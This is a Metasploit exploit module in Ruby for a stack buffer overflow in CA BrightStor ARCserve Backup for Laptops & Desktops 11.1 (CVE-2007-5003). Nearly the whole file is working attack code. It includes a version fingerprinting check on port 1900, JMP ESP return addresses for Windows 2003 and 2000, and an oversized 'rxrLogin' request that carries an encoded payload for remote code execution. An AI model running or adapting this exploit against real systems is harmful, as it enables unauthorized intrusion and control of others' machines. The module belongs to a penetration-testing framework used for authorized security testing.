##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
        for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
        overflow the buffer and execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-5003' ],
          [ 'OSVDB', '41353' ],
          [ 'BID', '24348' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 550,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform' => 'win',
      'Targets'  =>
          [
            [ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
            [ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
          ],
      'DisclosureDate' => 'Jun 6 2007',
      'DefaultTarget' => 0))

    register_options([ Opt::RPORT(1900) ])
  end

  def check
    connect

    sock.put("0000000019rxrGetServerVersion")
    ver = sock.get_once

    disconnect

    if ( ver and ver =~ /11\.1\.742/ )
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    buffer =  rand_text_alpha_upper(17420) + [target.ret].pack('V')
    buffer << payload.encoded + rand_text_alpha_upper(300)

    sploit  = "0000018124" # Command Length Field
    sploit << "rxrLogin"   # RPC Command
    sploit <<  "~~"        # Constant Argument Delimiter
    sploit <<  buffer      # Argument

    print_status("Trying target #{target.name}...")
    # One-shot overwrite...
    sock.put(sploit)

    handler
    disconnect
  end
end
